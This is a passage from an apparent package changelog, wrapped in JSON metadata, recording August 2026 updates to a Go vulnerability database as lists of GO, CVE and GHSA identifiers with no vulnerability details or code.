* GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68\n  * GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v\n  * GO-2026-6262 GHSA-22w5-2fxg-vrwx\n  * GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28\n  * GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j\n  * GO-2026-6265 GHSA-8fxq-53rx-ph5f\n  * GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m\n  * GO-2026-6267 GHSA-h58c-xccx-75m3\n  * GO-2026-6268 GHSA-q9c5-pp7m-fm2g\n  * GO-2026-6269 GHSA-rxhg-vcww-2mpw\n  * GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5\n  * GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m\n  * GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97\n  * GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28\n  * GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w\n  * GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34\n  * GO-2026-6277 GHSA-4ph6-mjv7-3fq6\n  * GO-2026-6278 GHSA-w67g-5rqw-f597\n  * GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v\n  * GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw\n  * GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4\n  * GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9\n  * GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q\n  * GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg\n  * GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr\n  * GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4\n  * GO-2026-6287 GHSA-vx2m-jpxr-xv7w\n  * GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr\n  * GO-2026-6289 GHSA-w8j7-39hp-8x59\n  * GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3\n  * GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58\n  * GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m\n  * GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq\n  * GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff\n  * GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx\n  * GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9\n  * GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm\n  * GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp\n  * GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px\n  * GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf\n  * GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf\n\n- Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-4720 GHSA-v3mg-9v85-fcm7\n  * GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc\n  * GO-2026-4950\n  * GO-2026-6093 GHSA-464c-974j-9xm6\n  * GO-2026-6094 GHSA-gcjh-h69q-9w9g\n  * GO-2026-6095 GHSA-r277-6w6q-xmqw\n  * GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737\n  * GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv\n  * GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q\n  * GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv\n  * GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf\n  * GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8\n  * GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp\n  * GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp\n  * GO-2026-6105 GHSA-c534-2w9c-x7fm\n  * GO-2026-6106 GHSA-v6w6-358x-2433\n  * GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3\n  * GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq\n  * GO-2026-6109 GHSA-86cx-wwf4-phq4\n  * GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75\n  * GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h\n  * GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq\n  * GO-2026-6113 GHSA-p6ph-3jx2-3337\n  * GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8\n  * GO-2026-6115 CVE-2026-56867\n  * GO-2026-6117 GHSA-hp74-gm6m-2qm5\n  * GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7\n  * GO-2026-6119 CVE-2026-43983 GHSA-w6p7-2fxx-4f44\n  * GO-2026-6120 CVE-2026-54593 GHSA-8r6w-3qq5-4p4r\n  * GO-2026-6121 CVE-2026-54345 GHSA-6r28-9ppf-4hj5\n  * GO-2026-6122 CVE-2026-54332 GHSA-g6v3-7xmc-w563\n  * GO-2026-6123 CVE-2026-49446 GHSA-2rx5-2g7j-2659\n  * GO-2026-6124 CVE-2026-49447 GHSA-5fqm-cc34-fcf5\n  * GO-2026-6125 CVE-2026-11479 GHSA-6h35-9p2w-3j3r\n  * GO-2026-6126 CVE-2026-11465 GHSA-7v3v-cp44-vc8m\n  * GO-2026-6127 CVE-2026-50567 GHSA-q6vm-xqc9-v3ff\n  * GO-2026-6128 CVE-2026-11481 GHSA-q76h-p6jh-9rw3\n  * GO-2026-6129 CVE-2026-50570 GHSA-qf5v-m7p4-95rp\n  * GO-2026-6130 CVE-2026-50568 GHSA-r5jh-q2mw-gcx4\n  * GO-2026-6131 CVE-2026-50569 GHSA-vchh-r53j-8mpw\n  * GO-2026-6132 CVE-2026-62325 GHSA-rjrw-mjq6-hpmm\n  * GO-2026-6133 CVE-2026-54719 GHSA-rmxw-pq4x-3fvh\n  * GO-2026-6134 CVE-2026-66064 GHSA-964w-f6gj-5236\n  * GO-2026-6135 CVE-2026-54650 GHSA-fh2f-xfxc-q9cc\n  * GO-2026-6136 CVE-2026-64863 GHSA-hq33-8jgp-8qq3\n  * GO-2026-6137 CVE-2026-66063 GHSA-wg2q-39h6-66x9\n  * GO-2026-6138 CVE-2026-54638 GHSA-whmm-qj9r-wvr2\n  * GO-2026-6139 CVE-2026-54735 GHSA-4p3g-4hcj-wpvx\n  * GO-2026-6140 CVE-2026-11500 GHSA-jqpm-wf57-qx5c\n  * GO-2026-6141 CVE-2026-54693 GHSA-jq8w-8q2f-ffm9\n  * GO-2026-6142 CVE-2026-54680 GHSA-mjqf-28ph-426h\n  * GO-2026-6143 GHSA-xvg2-cgv6-6h7v\n  * GO-2026-6144 CVE-2026-67439 GHSA-jm28-2wcr-qf3h\n  * GO-2026-6145 CVE-2026-67438 GHSA-xc5w-4v5w-7x65\n  * GO-2026-6146 CVE-2026-67437 GHSA-xpxj-f2fm-rqch\n  * GO-2026-6147 CVE-2026-25688 GHSA-hmr2-99jm-8x45\n  * GO-2026-6148 CVE-2026-25699 GHSA-w754-5646-xq9j\n  * GO-2026-6151 CVE-2026-34033 GHSA-6qwm-5fm9-cvjx\n  * GO-2026-6152 CVE-2026-34905 GHSA-85r2-pvg8-89r9\n  * GO-2026-6153 CVE-2026-33582 GHSA-v553-g2w6-295p\n  * GO-2026-6154 CVE-2026-34031 GHSA-x4f6-mqg6-28xx\n  * GO-2026-6155 CVE-2026-65834 GHSA-68cj-mvg9-rgm2\n  * GO-2026-6156 CVE-2026-52856 GHSA-ghrq-5wpp-hxx5\n  * GO-2026-6157 CVE-2026-65835 GHSA-jr6p-8pjj-mfx6\n  * GO-2026-6158 CVE-2026-52855 GHSA-pfvc-3p5h-x7h6\n  * GO-2026-6159 CVE-2026-52857 GHSA-q6hh-gp44-4hcm\n  * GO-2026-6160 CVE-2026-54725 GHSA-r2v3-8gwf-7ghm\n  * GO-2026-6161 CVE-2026-53551 GHSA-qj55-47fp-p62j\n  * GO-2026-6162 CVE-2026-54787 GHSA-wqqc-jjcq-vfxm\n  * GO-2026-6163 CVE-2026-54909 GHSA-34rh-wp3j-6cxc\n  * GO-2026-6164 CVE-2026-54910 GHSA-vvp7-h4fj-m28w\n  * GO-2026-6165 CVE-2026-54908 GHSA-wg4g-wm44-ch5j\n  * GO-2026-6166 CVE-2026-56868\n  * GO-2026-6168 CVE-2026-56869\n  * GO-2026-6169 CVE-2026-56870\n  * GO-2026-6170 CVE-2026-56871\n  * GO-2026-6171 CVE-2026-56872\n  * GO-2026-6172 CVE-2026-56873\n  * GO-2026-6173 CVE-2026-56874\n  * GO-2026-6181 GHSA-gwfq-86j8-7qhv\n  * GO-2026-6182 CVE-2026-71312 GHSA-2m8m-jhrm-w6j2\n  * GO-2026-6183 GHSA-3x6r-wxxg-53vv\n  * GO-2026-6184 CVE-2026-71309 GHSA-45pq-889g-fcgh\n  * GO-2026-6185 CVE-2026-59732 GHSA-4vr5-p2gc-h23p\n  * GO-2026-6186 CVE-2026-71313 GHSA-7p4m-qxvv-g567\n  * GO-2026-6187 CVE-2026-71311 GHSA-8c48-q9wj-3w37\n  * GO-2026-6188 GHSA-8mxv-9xhp-86h4\n  * GO-2026-6189 GHSA-8v25-v8p6-qf7v\n  * GO-2026-6190 GHSA-945v-v9p3-v5xw\n  * GO-2026-6191 CVE-2026-54572 GHSA-cf44-9pgv-m4xc\n  * GO-2026-6192 CVE-2026-65602 GHSA-42cj-m3vj-89wv\n  * GO-2026-6195 CVE-2026-59733 GHSA-fqj9-69pf-6pjg\n  * GO-2026-6196 GHSA-gx4c-2hqx-cw2r\n  * GO-2026-6197 GHSA-h4mf-4v27-hggj\n  * GO-2026-6198 CVE-2026-65601 GHSA-qq9q-x9w4-chhj\n  * GO-2026-6199 CVE-2026-71310 GHSA-xhf4-832v-7xcr\n  * GO-2026-6201 CVE-2026-71324 GHSA-3ccp-42pg-hgv6\n  * GO-2026-6202 CVE-2026-54764 GHSA-3q9r-p662-5j8m\n  * GO-2026-6203 CVE-2026-71325 GHSA-62fc-8686-hfmq\n  * GO-2026-6204 CVE-2026-71326 GHSA-6765-c87h-8mrf\n  * GO-2026-6205 CVE-2026-54765 GHSA-6p8f-p8j2-rqmv\n  * GO-2026-6207 CVE-2026-67309 GHSA-8rxv-jg7p-wvg3\n  * GO-2026-6208 CVE-2026-65600 GHSA-cxjq-mrr5-89rv\n  * GO-2026-6209 CVE-2026-71327 GHSA-fgjj-px3w-67xx\n  * GO-2026-6211 CVE-2026-54763 GHSA-x677-9fxg-v5c5\n  * GO-2026-6212 CVE-2026-39904 GHSA-42jc-v69j-g38f\n  * GO-2026-6213 CVE-2026-71556 GHSA-hc8v-wwc9-vgxm\n  * GO-2026-6214 CVE-2026-71557 GHSA-qgq7-7hm3-q39j\n  * GO-2026-6216\n  * GO-2026-6219 CVE-2026-73080 GHSA-87fv-vqqr-m4jr\n  * GO-2026-6220 CVE-2026-48786 GHSA-88p2-jj8w-j8qg\n  * GO-2026-6221 CVE-2026-54917 GHSA-w62w-66v9-vvgv\n  * GO-2026-6223 CVE-2026-54526 GHSA-48p8-g2fx-3wwm\n  * GO-2026-6224 CVE-2026-53469 GHSA-6xvf-9742-48w2\n  * GO-2026-6227 CVE-2026-35511 GHSA-29rf-f4vv-pvq6\n  * GO-2026-6228 CVE-2026-53471 GHSA-2fqw-7c6r-2cq6\n  * GO-2026-6229 CVE-2026-53470 GHSA-v5m8-5455-qw2x\n  * GO-2026-6230 CVE-2026-53657 GHSA-2j9v-p4xj-cjw2\n  * GO-2026-6231 CVE-2026-53476 GHSA-7j4w-x8x8-5mvg\n  * GO-2026-6232 CVE-2026-53475 GHSA-8g5p-jxp9-457c\n  * GO-2026-6233 CVE-2026-53474 GHSA-vf2h-7x3w-97fr\n  * GO-2026-6234 CVE-2026-53658 GHSA-xghw-p77p-3r7x\n  * GO-2026-6237\n  * GO-2026-6238 CVE-2026-10722 GHSA-xhgw-qwwf-pg32\n  * GO-2026-6240 CVE-2026-64859 GHSA-6x2c-phff-wx57\n  * GO-2026-6241 CVE-2026-45099 GHSA-8394-6f8r-whxg\n  * GO-2026-6242 CVE-2026-71479 GHSA-8r8v-xf7q-rcpr\n  * GO-2026-6243 CVE-2026-64865 GHSA-j6gc-4893-qwmp\n  * GO-2026-6244 CVE-2026-64866 GHSA-p845-629j-rcj6\n  * GO-2026-6245 CVE-2026-64868 GHSA-v828-m3pf-vq9q\n  * GO-2026-6246 GHSA-fhgh-wq4q-r37x\n  * GO-2026-6247 CVE-2026-55062 GHSA-m6jg-wr9m-cg2f\n  * GO-2026-6248 CVE-2026-55061 GHSA-qmcq-xw74-w667\n  * GO-2026-6249 CVE-2026-25700 GHSA-4gw2-vg4x-7p29\n\n- Update to version 0.0.20260814T162254 2026-08-14T16:22:54Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5021 CVE-2026-42508 GHSA-5cgq-3rg8-m6cv\n  * GO-2026-5942 CVE-2026-46600\n  * GO-2026-5972 CVE-2026-33818\n  * GO-2026-6088 CVE-2026-56859\n  * GO-2026-6089 CVE-2026-56853\n  * GO-2026-6090 CVE-2026-56862\n  * GO-2026-6091 CVE-2026-56858\n  * GO-2026-6179 CVE-2026-56865\n  * GO-2026-6180 CVE-2026-56864\n  * GO-2026-6218 CVE-2026-56860\n  * GO-2026-6222 CVE-2026-46603\n\n- Update to version 0.0.20260811T232133 2026-08-11T23:21:33Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5005 CVE-2026-39833 GHSA-jppx-rxg9-jmrx\n  * GO-2026-5006 CVE-2026-39832 GHSA-f5wc-c3c7-36mc\n  * GO-2026-5075 CVE-2026-57210 GHSA-38x9-25wx-7fg2\n  * GO-2026-5119 CVE-2026-48119 GHSA-4g6j-g789-rghm\n  * GO-2026-5152 CVE-2026-48491 GHSA-5r4w-85f3-pw66\n  * GO-2026-5274 CVE-2026-40173 GHSA-95mq-xwj4-r47p\n  * GO-2026-5287 CVE-2026-53622 GHSA-9cr8-q42q-g8m7\n  * GO-2026-5306 CVE-2026-34179 GHSA-c3h3-89qf-jqm5\n  * GO-2026-5368 CVE-2026-34177 GHSA-fm2x-c5qw-4h6f\n  * GO-2026-5466 CVE-2026-41179 GHSA-jfwf-28xr-xw6q\n  * GO-2026-5516 CVE-2026-41327 GHSA-mrxx-39g5-ph77\n  * GO-2026-5529 CVE-2026-34976 GHSA-p5rh-vmhp-gvcw\n  * GO-2026-5532 CVE-2026-41181 GHSA-p6hg-qh38-555r\n  * GO-2026-5576 CVE-2026-34178 GHSA-q96j-3fmm-7fv4\n  * GO-2026-5596 CVE-2026-49980 GHSA-qw24-gh76-8rvv\n  * GO-2026-5668 CVE-2026-41568 GHSA-vp62-88p7-qqf5\n  * GO-2026-5970 CVE-2026-56852\n","status":"published","published":"2026-09-04T12:32:03Z","modified":"2026-09-29T18:23:20.110594263Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}